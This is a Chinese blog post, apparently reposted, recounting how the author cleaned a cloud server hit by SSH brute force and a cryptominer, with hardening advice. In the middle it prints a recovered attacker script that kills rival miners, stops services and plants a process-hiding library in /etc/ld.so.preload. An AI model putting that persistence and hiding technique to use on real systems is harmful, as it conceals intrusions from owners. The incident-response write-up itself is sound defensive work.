服务器被入侵案例

下文中的，给文件和目录加锁，是指给文件和目录增加了一些属性，只读等。chattr +ia

一、服务器入侵现象

近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵，具体现象是： 服务器CPU资源长期 100%，负载较高。 服务器上面的服务不能正常提供服务。

朋友处理了一会没有解决，我开始想说我不是搞安全的，我怎么会，但朋友开出了天价，一顿海底捞，我在生活和现实面前低头了。 开始上手看看了。

二、服务器排查和处理

2.1、服务器被入侵的可能原因

服务器ssh密码 设置得很简单。

腾讯云安全组范围放得很大。

使用了宝塔，宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。

2.2、排查和处理步骤

ps -ef/top找出占用进程最大的服务

问题现象

ps/top命令 已经被替换了。



查找详细的入侵痕迹last或者grep 'Accepted' /var/log/secure。

问题现象

[root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure
Aug2621:51:37 VM-12-12-centos sshd[19822]: Accepted passwordforroot from34.215.138.2 port36720ssh2
Aug2708:52:05 VM-12-12-centos sshd[3053]: Accepted passwordforroot from127.0.0.1 port57534ssh2
Aug2708:58:50 VM-12-12-centos sshd[7038]: Accepted passwordforroot from127.0.0.1 port57548ssh2
Aug2709:10:02 VM-12-12-centos sshd[14830]: Accepted publickeyforlighthouse from106.55.203.49 port44204ssh2: RSA SHA256:123456/UIbl8
Aug2709:10:03 VM-12-12-centos sshd[14913]: Accepted publickeyforlighthouse from81.69.102.49 port60820ssh2: RSA SHA256:123456/UIbl8
Aug2709:14:08 VM-12-12-centos sshd[17307]: Accepted passwordforroot from127.0.0.1 port57690ssh2
Aug2709:34:22 VM-12-12-centos sshd[29150]: Accepted publickeyforlighthouse from106.55.203.55 port38044ssh2: RSA SHA256:123456/UIbl8
Aug2709:34:23 VM-12-12-centos sshd[29233]: Accepted publickeyforlighthouse from81.69.102.60 port51190ssh2: RSA SHA256:123456/UIbl8

lighthouse 腾讯云轻量服务器

我们在这里就可以看到，有一些境外IP 34.215.138.2成功登录了，这些IP不是我们的正常登录。 在/var/log/secure日志里，我看到了IP 34.215.138.2尝试登录不到500次 就已经破解成功了。

处理措施

这里我们立马采取了第一个措施，

在腾讯云安全组限制了 SSH 的登录IP， 之前的安全组 SSH 是放行所有IP。

将 SSH ROOT 密码修改。

/root/.ssh/authorized_keys备份，并清空。

[root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

这时我们就遇到了权限的问题，这个晚点展开讲，因为我们已经限制了源IP， 所以这个我们可以晚点来处理。

查看最近新增的一些用户

问题现象

cat /etc/passwd



处理措施

锁定用户

[root@VM-12-12-centos ~]# usermod  -L  sys1

我这里不计划去找进程（已经在新建一台版本一致的系统， 来拷贝top和ps命令，需要一小会，我们趁这个时间，先看看其他），因为之前朋友重启过服务器，发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。

问题现象

定时任务

crond读取配置文件会从以下几个路径读取：

/var/spool/cron/未找到(后面会说到这里有障眼法)



/etc/crontab未找到(后面会说到这里有障眼法)

但是我在/var/log/cron一直看到有任务执行。每间隔5分钟。

Aug2722:00:01VM-12-12-centosCROND[16839]: (root)CMD(/sbin/httpss>/dev/null2>&1;^M)
Aug2722:00:01VM-12-12-centosCROND[16840]: (root)CMD(/usr/local/qcloud/YunJing/YDCrontab.sh>/dev/null2>&1)
Aug2722:00:01VM-12-12-centosCROND[16842]: (root)CMD(/usr/lib/mysql/mysql;^Mnocrontabforroot)

Aug2722:05:01VM-12-12-centosCROND[17486]: (root)CMD(/usr/lib/mysql/mysql;^Mnocrontabforroot)
Aug2722:05:01VM-12-12-centosCROND[17487]: (root)CMD(/sbin/httpss>/dev/null2>&1;^M)

处理措施

这里我们先做的操作就是，先把/usr/lib/mysql/mysql和/sbin/httpss给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了，所以我开始解锁，我们发现chattr也被替换和锁住了。 所以不能操作下去了。

开机启动脚本

/etc/rc.local， 我们也发现了一个脚本。

[root@VM-12-12-centos ~]# cat /etc/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.

/usr/bin/0f4f80f9abstart

但是这个文件好像不存在的，我们就把这个给注释了。

/var/spool/cron/, 由crontab -e进行写入，配置文件无需指定用户

/etc/crontab，只能root进行编辑，配置文件需指定用户

/etc/cron.d/,在此文件夹下创建定时任务文件，配置文件需指定用户

/etc/cron.*

还原更改了top、ps、chattr、lsattr.

部分截图



首先我们从相同版本的机器拷贝了chattr、lsattr， 我们得先操作这个， 因为我们的top和ps都被锁住了。

我将文件上传至/tmp目录，然后增加可执行权限，然后先给/usr/bin/chattr解除锁定。

/tmp/chattr -ai /usr/bin/chattr

执行完之后，发现还是不能替换/usr/bin/chattr。 最后耗费了一段时间才反应到，入侵者可能不仅仅加锁了文件还加锁了/usr/bin/。

解锁目录

/tmp/chattr -ai /usr/bin/

这下才能把/usr/bin/chattr给替换掉。

接下来参考这些，我们把top和ps、lsattr给还原了。

三、本次入侵需要带来启示的点

ps、top、chattr、lsattr

在这些命令被替换了，并且我们想还原又还原不了的场景，我们可以拷贝同版本的机器相同的命令放在其它目录，用这些命令来解除入侵者将它已经替换并锁定了文件。 注意有些入侵者不仅会在文件层面加锁，还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。

文件内容隐藏

上文中，我执行crontab -l和 cat 查看/etc/cron.d/下面的文件。发现文件没有内容。

其实不知道使用了什么特殊字符还是什么隐藏了， 其实是存在定时任务的。

示例：

这个配置是如何导致 cat/more 看不了的, 今天再次看了下，这个文件可能是被当成了数据文件，因为我把这个文件 file 查看了之后，文件属性是data. 然后文件包含的特殊字符。导致隐藏了，我在这里服务器入侵之找出隐藏字符的原理把这个来龙去脉给讲清楚了。

其中一个脚本。

[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
#!/bin/sh
whiletest1=1
do
sleep30
pkill-fmain
killallmain
killallsprshduerjsaia
pkill-fsprshduerjsaia
killalldr64
pkill-fdr64
killall.report_system
pkill-f.report_system
killallsshc
pkill-fsshc
pkill-fmemory
killallmemory
killallwarmup
killallkoko
killallkthreaddk
killallsystemc
killallcront
killallxm64_linux
killall/var/tmp/j/./intelshell
pkill-fdos32
pkill-fdos64
pkill-f.name
pkill-f/usr/sbin/dbus
pkill-fsystemd-boot-check-no-failures
killall.report_system
pkill-f.report_system
pkill-fkeep-alive
pkill-flinu
pkill-fzapppp
killall[scan]
killall[ext4]
pkill-fxm64_linux
pkill-fddrirc
killall./-bash
pkill-f./-bash
killallkworkers
killalldbus
pkill-fbiden1
pkill-fcpuminer-sse2
killallwork64
pkill-fwork64
killallwork32
pkill-fwork32
killallaarch12
pkill-faarch12
killallbash1
pkill-fbash1
killallintelshell
pkill-fintelshell
killallheaven
pkill-fheaven
killall.syst3md
pkill-f.syst3md
pkill-fapachelogs
killall.meinkampf
pkill-f.meinkampf
killallxri
pkill-fxri
killallkoko
pkill-fkoko
killallwork32-deamon
pkill-fwork32-deamon
killallwork64-deamon
pkill-fwork64-deamon
killallsecure.sh
pkill-fsecure.sh
kkillall auth.sh
pkill-fauth.sh
killallautoupdate
pkill-fkworkers
pkill-fautoupdate
killallld-linux
pkill-fld-linux
pkill-9Donald
killall-9Donald
pkill-f/usr/local/bin/pnscan
pkill-f/usr/bin/biden1
killall/usr/bin/biden1
killallr
killalltrace
pkill-fminerd
killallminerd
pkill-fxm64
killallxm64
pkill-fsysdm
killallsysdm
pkill-fsyst3md
killallsyst3md
pkill-fxrig
killallxrig
pkill-fbusybox
killallbusybox
pkill-fjoseph
killalljoseph
pkill-fosama
killallosama
killalldaemon
pkill-fobama1
killallobama1
pkill-fkswapd0
killallkswapd0
pkill-fjehgms
killalljehgms
pkill-ftsm
killalltsm
pkill-frig
killallrig
pkill-fxmr
killallxmr
pkill-fplaystation
killallplaystation
pkill-fld-linux-x86-64
killallld-linux-x86-64
pkill-fruckusapd
killallruckusapd
pkill-frun64
killallrun64
pkill-fpwnrig
killallpwnrig
pkill-fphpupdate
killallphpupdate
pkill-fsysupdate
killallsysupdate
pkill-fphpguard
killallphpguard
pkill-ffirstpress
killallfirstpress
pkill-fzerocert
killallzerocert
pkill-fmasscan
killallmasscan
pkill-f-bash
pkill-fspreadQlmnop
killallspreadQlmnop
killall-bash
pkill-fcnrig
killallcnrig
pkill-fnetvhost
killallnetvhost
pkill-fkthreadds
killallkthreadds
pkill-fkthreadd
killallkthreadd
pkill-fkdevtmpfsi
killallkdevtmpfsi
pkill-flinuxservice
killalllinuxservice
pkill-frtmonitor
killallrtmonitor
pkill-fdev
killalldev
pkill-fxmrig
killallxmrig
pkill-fmaster
killallmaster
killallsysmd
pkill-fsysmd
pkill-fsendmail
killallsendmail
pkill-fld-musl-x86_64.
killallld-musl-x86_64.
killallwatchdog
pkill-fwatchdog
pkill-f32678
killall32678
killalldhpcd
pkill-fdhpcd
killalllinux_amd64
pkill-flinux_amd64
killallxredis
pkill-fxredis
killallLinux2.6
killall.chornyd
pkill-f.chornyd
killallOpera
pkill-fOpera
killalllibertyd
pkill-flibertyd
killallrcubind
pkill-frcubind
killallclamscan
pkill-fclamscan
killallpnscan
pkill-fpnscan
killallzzh
pkill-fzzh
killallbioser
pkill-fbioser
rm-rf/root/.configrc/
rm-rf/tmp/.X26-unix/
rm-rf/tmp/.bash/
rm-rf/root/.bash/
rm-rf/root/.cache/
rm-rf/tmp/.cache/
rm-rf/dev/shm/.ssh/
rm-rf/etc/.etcservice/linuxservice
rm-rf/etc/.vhost/netvhost
rm-rf/tmp/up.txt
rm-rf/var/tmp/.update/
rm-rf/var/tmp/.systemd/
rm-rf/usr/sbin/.bash./.bash/
rm-rf/etc/master
rm-rf/usr/bin/busybox
rm-rf/bin/sysmd
rm-rf/tmp/.mx/
rm-rf/dev/shm/.mx/
rm-rf/usr/bin/xrig
rm-rf/etc/32678
rm-rf/root/c3pool/
rm-rf/usr/bin/.sshd/
rm-rf/tmp/div
systemctlstopc3pool_miner.service
systemctlstoppwnriglhttps.service
systemctlstopcryto
systemctlstopscan
systemctlstopbot
systemctlstopmyservice.service
systemctlstopnetns.service
systemctlstopcryptsetup.service
echo/usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr+ai /etc/ld.so.preload >/dev/null2>&1
chmod777/usr/lib/mysql/*
/usr/lib/mysql/./mysql
done

我们可以看到这个脚本其实一直在 更改/etc/ld.so.preload的内容。 并且在关闭一些扫描软件和系统的服务。

在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。

——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

我已经删除了/usr/local/lib/libprocesshider.so文件，之后每次执行命令会有这个报错。



我在清空文件/etc/ld.so.preload之后，我发现好了一会后，还是出现这个，我再看/etc/ld.so.preload文件，里面又写了/usr/local/lib/libprocesshider.so，我怀疑还有定时任务，但是我找了一会定时任务，还是没有找到。 后面在查看异常进程的时候，我看到了这个进程





发现这个脚本的就是一直在循环执行上面内容。 将这个进程 kill 后，然后删除脚本。

四、本次服务器被入侵的一些启示

用好云厂家的安全组。对一些关键端口，放行规则尽量最小/

服务器相关的一些密码尽量增加复杂性。

增加对一些关键文件的监控. (通过监控软件监控 md5值)

/etc/passwd

/etc/shadow

/etc/group

/root/.bash_history

/root/.ssh/authorized_keys

/etc/ssh/sshd_config

/etc/profile

/var/spool/cron/root

/etc/crontab

/etc/ld.so.preload

/etc/rc.local

lsof

ps

netstat

top

ls

pstree

last

history

sudo

password

chattr

lsattr

服务器入侵之后，我们需要怎么处理才是最好的。

https://cloud.tencent.com/document/product/296/9604

https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

服务器如果有开放SSH 远程登录，可以设置限制登录(安全组、或者服务)，只放行自己的IP. 查找详细的入侵痕迹last或者grep 'Accepted' /var/log/secure

/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。

服务器如果可以关闭外网，就关闭外网。 在安全组层面设置下，或者路由或者NAT。

首先看下ps/top命令有没有被篡改， 如果有的话， 从其他正常的机器上拷贝至服务器上。 然后执行查看异常进程。也要查询下/etc/ld.so.preload是否有被篡改。如果有的的话，记得清空里面的内容，然后将对应的文件删除或者重命名。

如果使用过程中遇到了文件不可删，不可改的问题，需要使用chattr -ia 文件名如果chattr也被串改，那就需要从别的机器拷贝。然后复原。

如果上述没有找到，可以通过netstat间接查看异常的连接从而查询异常进程。

检查开机启动 和crontab相关的内容 。

检查异常进程。

以上就是这次入侵的处理过程和得到的一些小启示，后续有了解新的会继续补充。20200906 增加更新内容cat 查看内容为什么被隐藏了，我在这里服务器入侵之找出隐藏字符的原理把这个来龙去脉给讲清楚了。

本文转自https://www.cnblogs.com/operationhome/p/16637763.html，如有侵权，请联系删除。